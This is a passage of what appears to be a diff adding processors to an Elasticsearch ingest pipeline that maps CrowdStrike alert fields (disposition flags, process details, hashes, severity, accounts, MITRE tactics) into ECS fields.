{{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.inddet_mask + tag: convert_pattern_disposition_details_inddet_mask_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.inddet_mask + type: boolean + if: ctx.json?.pattern_disposition_details?.inddet_mask != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_bda6a766 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.indicator + tag: convert_pattern_disposition_details_indicator_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.indicator + type: boolean + if: ctx.json?.pattern_disposition_details?.indicator != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_ba747b92 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.kill_action_failed + tag: convert_pattern_disposition_details_kill_action_failed_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.kill_action_failed + type: boolean + if: ctx.json?.pattern_disposition_details?.kill_action_failed != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_e59d19d6 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.kill_parent + tag: convert_pattern_disposition_details_kill_parent_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.kill_parent + type: boolean + if: ctx.json?.pattern_disposition_details?.kill_parent != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_5d89abba + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.kill_process + tag: convert_pattern_disposition_details_kill_process_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.kill_process + type: boolean + if: ctx.json?.pattern_disposition_details?.kill_process != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_97b01cce + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.kill_subprocess + tag: convert_pattern_disposition_details_kill_subprocess_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.kill_subprocess + type: boolean + if: ctx.json?.pattern_disposition_details?.kill_subprocess != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_d3896f6a + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.mfa_required + tag: convert_pattern_disposition_details_mfa_required_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.mfa_required + type: boolean + if: ctx.json?.pattern_disposition_details?.mfa_required != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_fe37ff02 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.operation_blocked + tag: convert_pattern_disposition_details_operation_blocked_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.operation_blocked + type: boolean + if: ctx.json?.pattern_disposition_details?.operation_blocked != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_0e672fd2 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.policy_disabled + tag: convert_pattern_disposition_details_policy_disabled_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.policy_disabled + type: boolean + if: ctx.json?.pattern_disposition_details?.policy_disabled != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_d2857342 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.prevention_provisioning_enabled + tag: convert_pattern_disposition_details_prevention_provisioning_enabled_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.prevention_provisioning_enabled + type: boolean + if: ctx.json?.pattern_disposition_details?.prevention_provisioning_enabled != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_32b4571a + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.process_blocked + tag: convert_pattern_disposition_details_process_blocked_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.process_blocked + type: boolean + if: ctx.json?.pattern_disposition_details?.process_blocked != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_036aa0ae + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.quarantine_file + tag: convert_pattern_disposition_details_quarantine_file_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.quarantine_file + type: boolean + if: ctx.json?.pattern_disposition_details?.quarantine_file != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_61401cb2 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.quarantine_machine + tag: convert_pattern_disposition_details_quarantine_machine_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.quarantine_machine + type: boolean + if: ctx.json?.pattern_disposition_details?.quarantine_machine != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_1ef3462a + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.registry_operation_blocked + tag: convert_pattern_disposition_details_registry_operation_blocked_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.registry_operation_blocked + type: boolean + if: ctx.json?.pattern_disposition_details?.registry_operation_blocked != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_d95082fa + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.response_action_already_applied + tag: convert_pattern_disposition_details_response_action_already_applied_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.response_action_already_applied + type: boolean + if: ctx.json?.pattern_disposition_details?.response_action_already_applied != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_37991dee + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.response_action_failed + tag: convert_pattern_disposition_details_response_action_failed_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.response_action_failed + type: boolean + if: ctx.json?.pattern_disposition_details?.response_action_failed != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_478de4d6 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.response_action_triggered + tag: convert_pattern_disposition_details_response_action_triggered_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.response_action_triggered + type: boolean + if: ctx.json?.pattern_disposition_details?.response_action_triggered != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_81752cea + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.rooting + tag: convert_pattern_disposition_details_rooting_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.rooting + type: boolean + if: ctx.json?.pattern_disposition_details?.rooting != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_706077de + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.sensor_only + tag: convert_pattern_disposition_details_sensor_only_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.sensor_only + type: boolean + if: ctx.json?.pattern_disposition_details?.sensor_only != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_f9fec482 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.suspend_parent + tag: convert_pattern_disposition_details_suspend_parent_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.suspend_parent + type: boolean + if: ctx.json?.pattern_disposition_details?.suspend_parent != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_2c62d45a + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_disposition_details.suspend_process + tag: convert_pattern_disposition_details_suspend_process_to_boolean + target_field: crowdstrike.alert.pattern_disposition_details.suspend_process + type: boolean + if: ctx.json?.pattern_disposition_details?.suspend_process != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_40d4a60a + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.pattern_id + tag: convert_pattern_id_to_string + target_field: crowdstrike.alert.pattern_id + type: string + ignore_missing: true + - rename: + field: json.platform + tag: rename_platform + target_field: crowdstrike.alert.platform + ignore_missing: true + - rename: + field: json.poly_id + tag: rename_poly_id + target_field: crowdstrike.alert.poly_id + ignore_missing: true + - date: + field: json.process_end_time + tag: date_process_end_time + target_field: crowdstrike.alert.process_end_time + formats: + - UNIX + - UNIX_MS + if: ctx.json?.process_end_time != null && ctx.json.process_end_time != '' + on_failure: + - append: + tag: append_error_message_ad80044e + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - set: + field: process.end + tag: set_process_end + copy_from: crowdstrike.alert.process_end_time + ignore_empty_value: true + - rename: + field: json.process_id + tag: rename_process_id + target_field: crowdstrike.alert.process_id + ignore_missing: true + - set: + field: process.entity_id + tag: set_process_entity_id + copy_from: crowdstrike.alert.process_id + ignore_empty_value: true + - convert: + field: crowdstrike.alert.process_id + tag: convert_alert_process_id_to_long + target_field: process.pid + type: long + ignore_missing: true + if: ctx.crowdstrike?.alert?.process_id != '' + on_failure: + - append: + tag: append_error_message_67be768a + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - date: + field: json.process_start_time + tag: date_process_start_time + target_field: crowdstrike.alert.process_start_time + formats: + - UNIX + - UNIX_MS + if: ctx.json?.process_start_time != null && ctx.json.process_start_time != '' + on_failure: + - append: + tag: append_error_message_f0c61775 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - set: + field: process.start + tag: set_process_start + copy_from: crowdstrike.alert.process_start_time + ignore_empty_value: true + - rename: + field: json.product + tag: rename_product + target_field: crowdstrike.alert.product + ignore_missing: true + - convert: + field: json.protocol_anomaly_classification + tag: convert_protocol_anomaly_classification_to_long + target_field: crowdstrike.alert.protocol_anomaly_classification + type: long + if: ctx.json?.protocol_anomaly_classification != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_587d0e0c + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.quarantined + tag: convert_quarantined_to_boolean + target_field: crowdstrike.alert.quarantined + type: boolean + if: ctx.json?.quarantined != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_bf2c729a + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.quarantined_files + tag: rename_quarantined_files + target_field: crowdstrike.alert.quarantined_files + ignore_missing: true + - foreach: + tag: foreach_crowdstrike_alert_quarantined_files_b20fbedf + field: crowdstrike.alert.quarantined_files + if: ctx.crowdstrike?.alert?.quarantined_files instanceof List + ignore_failure: true + processor: + append: + field: related.hash + tag: append_quarantined_files_to_related_hash + value: '{{{_ingest._value.sha256}}}' + allow_duplicates: false + - rename: + field: json.scan_id + tag: rename_scan_id + target_field: crowdstrike.alert.scan_id + ignore_missing: true + - rename: + field: json.scenario + tag: rename_scenario + target_field: crowdstrike.alert.scenario + ignore_missing: true + - convert: + field: json.seconds_to_resolved + tag: convert_seconds_to_resolved_to_long + target_field: crowdstrike.alert.seconds_to_resolved + type: long + if: ctx.json?.seconds_to_resolved != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_8af241e0 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.seconds_to_triaged + tag: convert_seconds_to_triaged_to_long + target_field: crowdstrike.alert.seconds_to_triaged + type: long + if: ctx.json?.seconds_to_triaged != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_f02749ca + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.severity + tag: convert_severity_to_long + target_field: crowdstrike.alert.severity + type: long + if: ctx.json?.severity != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_3dc98c2e + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.severity_name + tag: rename_severity_name + target_field: crowdstrike.alert.severity_name + ignore_missing: true + - script: + lang: painless + description: Script to set event.severity. + tag: set_event_severity_from_severity + if: ctx.crowdstrike?.alert?.severity instanceof long && ctx.crowdstrike.alert.severity_name == null + source: |- + long severity = ctx.crowdstrike.alert.severity; + if (0 <= severity && severity < 20) { + ctx.crowdstrike.alert.severity_name = "info"; + } else if (20 <= severity && severity < 40) { + ctx.crowdstrike.alert.severity_name = "low"; + } else if (40 <= severity && severity < 60) { + ctx.crowdstrike.alert.severity_name = "medium"; + } else if (60 <= severity && severity < 80) { + ctx.crowdstrike.alert.severity_name = "high"; + } else if (80 <= severity && severity <= 100) { + ctx.crowdstrike.alert.severity_name = "critical"; + } + on_failure: + - append: + tag: append_error_message_538cc735 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - script: + lang: painless + description: Script to set event.severity. + tag: set_event_severity_from_severity_name + if: ctx.crowdstrike?.alert?.severity_name instanceof String + source: |- + ctx.event = ctx.event ?: [:]; + String risk_score_value = ctx.crowdstrike.alert.severity_name; + if (risk_score_value.equalsIgnoreCase("low") || risk_score_value.equalsIgnoreCase("info") || risk_score_value.equalsIgnoreCase("informational")) { + ctx.event.severity = 21; + } else if (risk_score_value.equalsIgnoreCase("medium")) { + ctx.event.severity = 47; + } else if (risk_score_value.equalsIgnoreCase("high")) { + ctx.event.severity = 73; + } else if (risk_score_value.equalsIgnoreCase("critical")) { + ctx.event.severity = 99; + } + on_failure: + - append: + tag: append_error_message_087c7251 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.sha1 + tag: rename_sha1 + target_field: crowdstrike.alert.sha1 + ignore_missing: true + - rename: + field: json.sha256 + tag: rename_sha256 + target_field: crowdstrike.alert.sha256 + ignore_missing: true + - set: + field: process.hash.sha1 + tag: set_process_hash_sha1 + copy_from: crowdstrike.alert.sha1 + ignore_empty_value: true + - set: + field: process.hash.sha256 + tag: set_process_hash_sha256 + copy_from: crowdstrike.alert.sha256 + ignore_empty_value: true + - append: + tag: append_related_hash_7730cb3f + field: related.hash + value: '{{{crowdstrike.alert.sha1}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.sha1 != null + - append: + tag: append_related_hash_5cf3d32b + field: related.hash + value: '{{{crowdstrike.alert.sha256}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.sha256 != null + - convert: + field: json.show_in_ui + tag: convert_show_in_ui_to_boolean + target_field: crowdstrike.alert.show_in_ui + type: boolean + if: ctx.json?.show_in_ui != "" + ignore_missing: true + on_failure: + - append: + tag: append_error_message_1698dc44 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.source_account_azure_id + tag: rename_source_account_azure_id + target_field: crowdstrike.alert.source.account_azure_id + ignore_missing: true + - set: + field: cloud.account.id + tag: set_cloud_account_id + copy_from: crowdstrike.alert.source.account_azure_id + ignore_empty_value: true + - rename: + field: json.source_account_domain + tag: rename_source_account_domain + target_field: crowdstrike.alert.source.account_domain + ignore_missing: true + - set: + field: source.user.domain + tag: set_source_user_domain_from_alert_source_account_domain + copy_from: crowdstrike.alert.source.account_domain + ignore_empty_value: true + - append: + field: related.hosts + tag: append_source_user_domain_into_related_hosts + value: '{{{source.user.domain}}}' + allow_duplicates: false + if: ctx.source?.user?.domain != null + - rename: + field: json.source_account_name + tag: rename_source_account_name + target_field: crowdstrike.alert.source.account_name + ignore_missing: true + - set: + field: source.user.name + tag: set_source_user_name_from_alert_source_account_name + copy_from: crowdstrike.alert.source.account_name + ignore_empty_value: true + - append: + field: related.user + tag: append_source_domain_into_related_user + value: '{{{source.user.name}}}' + allow_duplicates: false + if: ctx.source?.user?.name != null + - rename: + field: json.source_account_object_guid + tag: rename_source_account_object_guid + target_field: crowdstrike.alert.source.account_object_guid + ignore_missing: true + - rename: + field: json.source_account_object_sid + tag: rename_source_account_object_sid + target_field: crowdstrike.alert.source.account_object_sid + ignore_missing: true + - rename: + field: json.source_account_sam_account_name + tag: rename_source_account_sam_account_name + target_field: crowdstrike.alert.source.account_sam_account_name + ignore_missing: true + - rename: + field: json.source_account_upn + tag: rename_source_account_upn + target_field: crowdstrike.alert.source.account_upn + ignore_missing: true + - append: + field: related.user + tag: append_crowdstrike_alert_source_account_upn_into_related_user + value: '{{{crowdstrike.alert.source.account_upn}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.source?.account_upn != null + - rename: + field: json.source_endpoint_account_object_guid + tag: rename_source_endpoint_account_object_guid + target_field: crowdstrike.alert.source.endpoint_account_object_guid + ignore_missing: true + - rename: + field: json.source_endpoint_account_object_sid + tag: rename_source_endpoint_account_object_sid + target_field: crowdstrike.alert.source.endpoint_account_object_sid + ignore_missing: true + - convert: + field: json.source_endpoint_address_ip4 + tag: convert_source_endpoint_address_ip4_to_ip + target_field: crowdstrike.alert.source.endpoint_address_ip4 + type: ip + if: ctx.json?.source_endpoint_address_ip4 != '' + ignore_missing: true + on_failure: + - append: + tag: append_error_message_4a238275 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - append: + field: related.ip + tag: append_crowdstrike_alert_source_endpoint_address_ip4_into_related_ip + value: '{{{crowdstrike.alert.source.endpoint_address_ip4}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.source?.endpoint_address_ip4 != null + - rename: + field: json.source_endpoint_host_name + tag: rename_source_endpoint_host_name + target_field: crowdstrike.alert.source.endpoint_host_name + ignore_missing: true + - set: + field: source.domain + tag: set_source_domain_from_alert_source_endpoint_host_name + copy_from: crowdstrike.alert.source.endpoint_host_name + ignore_empty_value: true + - append: + field: related.hosts + tag: append_source_domain_into_related_hosts + value: '{{{source.domain}}}' + allow_duplicates: false + if: ctx.source?.domain != null + - convert: + field: json.source_endpoint_ip_address + tag: convert_source_endpoint_ip_address_to_ip + target_field: crowdstrike.alert.source.endpoint_ip_address + type: ip + if: ctx.json?.source_endpoint_ip_address != '' + ignore_missing: true + on_failure: + - append: + tag: append_error_message_81555c63 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - set: + field: source.ip + tag: set_source_ip_from_alert_source_endpoint_ip_address + copy_from: crowdstrike.alert.source.endpoint_ip_address + ignore_empty_value: true + - append: + field: related.ip + tag: append_source_ip_into_related_ip + value: '{{{source.ip}}}' + allow_duplicates: false + if: ctx.source?.ip != null + - convert: + field: json.source_endpoint_ip_reputation + tag: convert_source_endpoint_ip_reputation_to_long + target_field: crowdstrike.alert.source.endpoint_ip_reputation + type: long + if: ctx.json?.source_endpoint_ip_reputation != '' + ignore_missing: true + on_failure: + - append: + tag: append_error_message_3e386597 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.source_endpoint_sensor_id + tag: rename_source_endpoint_sensor_id + target_field: crowdstrike.alert.source.endpoint_sensor_id + ignore_missing: true + - convert: + field: json.source_ip_isp_classification + tag: convert_source_ip_isp_classification_to_long + target_field: crowdstrike.alert.source.ip_isp_classification + type: long + if: ctx.json?.source_ip_isp_classification != '' + ignore_missing: true + on_failure: + - append: + tag: append_error_message_df45a547 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.source_ip_isp_domain + tag: rename_source_ip_isp_domain + target_field: crowdstrike.alert.source.ip_isp_domain + ignore_missing: true + - rename: + field: json.source_products + tag: rename_source_products + target_field: crowdstrike.alert.source_products + ignore_missing: true + - rename: + field: json.source_vendors + tag: rename_source_vendors + target_field: crowdstrike.alert.source_vendors + ignore_missing: true + - date: + field: json.start_time + tag: date_start_time + target_field: crowdstrike.alert.start_time + formats: + - ISO8601 + if: ctx.json?.start_time != null && ctx.json.start_time != '' + on_failure: + - append: + tag: append_error_message_12c4fb68 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - set: + field: event.start + tag: set_event_start_from_alert_start_time + copy_from: crowdstrike.alert.start_time + ignore_empty_value: true + - rename: + field: json.status + tag: rename_status + target_field: crowdstrike.alert.status + ignore_missing: true + - rename: + field: json.tactic + tag: rename_tactic + target_field: crowdstrike.alert.tactic + ignore_missing: true + - append: + field: threat.tactic.name + tag: append_threat_tactic_name + value: '{{{crowdstrike.alert.tactic}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.tactic != null + - rename: + field: json.tactic_id + tag: rename_tactic_id + target_field: crowdstrike.alert.tactic_id + ignore_missing: true + - append: + field: threat.tactic.id + tag: append_threat_tactic_id + value: '{{{crowdstrike.alert.tactic_id}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.tactic_id != null + - rename: + field: json.tags + tag: rename_tags + target_field: crowdstrike.alert.tags + ignore_missing: true + - foreach: + tag: foreach_crowdstrike_alert_tags_b755d4b9 + field: crowdstrike.alert.tags + if: ctx.crowdstrike?.alert?.tags instanceof List + processor: + append: + field: tags + tag: append_alert_tags_into_tags + value: '{{{_ingest._value}}}' + allow_duplicates: false + - rename: + field: json.target_endpoint_host_name + tag: rename_target_endpoint_host_name + target_field: crowdstrike.alert.target.endpoint_host_name + ignore_missing: true + - set: + field: destination.domain + tag: set_destination_domain_from_alert_target_endpoint_host_name + copy_from: crowdstrike.alert.target.endpoint_host_name + ignore_empty_value: true + - append: + field: related.hosts + tag: append_destination_domain_into_related_hosts + value: '{{{destination.domain}}}' + allow_duplicates: false + if: ctx.destination?.domain != null + - rename: + field: json.target_domain_controller_host_name + tag: rename_target_domain_controller_host_name + target_field: crowdstrike.alert.target.domain_controller_host_name + ignore_missing: true + - set: + field: destination.user.domain + tag: set_destination_user_domain_from_alert_target_domain_controller_host_name + copy_from: crowdstrike.alert.target.domain_controller_host_name + ignore_empty_value: true + - append: + field: related.hosts + tag: append_destination_user_domain_into_related_hosts + value: '{{{destination.user.domain}}}' + allow_duplicates: false + if: ctx.destination?.user?.domain != null + - rename: + field: json.target_account_name + tag: rename_target_account_name + target_field: crowdstrike.alert.target.account_name + ignore_missing: true + - set: + field: destination.user.name + tag: set_destination_user_name_from_alert_target_account_name + copy_from: crowdstrike.alert.target.account_name + ignore_empty_value: true + - append: + field: related.user + tag: append_destination_user_name_into_related_user + value: '{{{destination.user.name}}}' + allow_duplicates: false + if: ctx.destination?.user?.name != null + - rename: + field: json.target_domain_controller_object_guid + tag: rename_target_domain_controller_object_guid + target_field: crowdstrike.alert.target.domain_controller_object_guid + ignore_missing: true + - rename: + field: json.target_domain_controller_object_sid + tag: rename_target_domain_controller_object_sid + target_field: crowdstrike.alert.target.domain_controller_object_sid + ignore_missing: true + - rename: + field: json.target_endpoint_account_object_guid + tag: rename_target_endpoint_account_object_guid + target_field: crowdstrike.alert.target.endpoint_account_object_guid + ignore_missing: true + - rename: + field: json.target_endpoint_account_object_sid + tag: rename_target_endpoint_account_object_sid + target_field: crowdstrike.alert.target.endpoint_account_object_sid + ignore_missing: true + - rename: + field: json.target_endpoint_sensor_id + tag: rename_target_endpoint_sensor_id + target_field: crowdstrike.alert.target.endpoint_sensor_id + ignore_missing: true + - rename: + field: json.target_service_access_identifier + tag: rename_target_service_access_identifier + target_field: crowdstrike.alert.target.service_access_identifier + ignore_missing: true + - rename: + field: json.technique + tag: rename_technique + target_field: crowdstrike.alert.technique + ignore_missing: true + - append: + field: threat.technique.name + tag: append_threat_technique_name + value: '{{{crowdstrike.alert.technique}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.technique != null + - rename: + field: json.technique_id + tag: rename_technique_id + target_field: crowdstrike.alert.technique_id + ignore_missing: true + - append: + field: threat.technique.id + tag: append_threat_technique_id + value: '{{{crowdstrike.alert.technique_id}}}' + allow_duplicates: false + if: ctx.crowdstrike?.alert?.technique_id != null + - rename: + field: json.mitre_attack + tag: rename_mitre_attack + target_field: crowdstrike.alert.mitre_attack + ignore_missing: true + - foreach: + tag: foreach_crowdstrike_alert_mitre_attack_50e8fec3 + field: crowdstrike.alert.mitre_attack + if: ctx.crowdstrike?.alert?.mitre_attack instanceof List + processor: + append: + field: threat.tactic.name + tag: append_threat_tactic_name + value: '{{{_ingest._value.tactic}}}' + allow_duplicates: false + - foreach: + tag: foreach_crowdstrike_alert_mitre_attack_a75d3917 + field: crowdstrike.alert.mitre_attack + if: ctx.crowdstrike?.alert?.mitre_attack instanceof List + processor: + append: + field: threat.tactic.id + tag: append_threat_tactic_id + value: '{{{_ingest._value.tactic_id}}}' + allow_duplicates: false + - foreach: + tag: 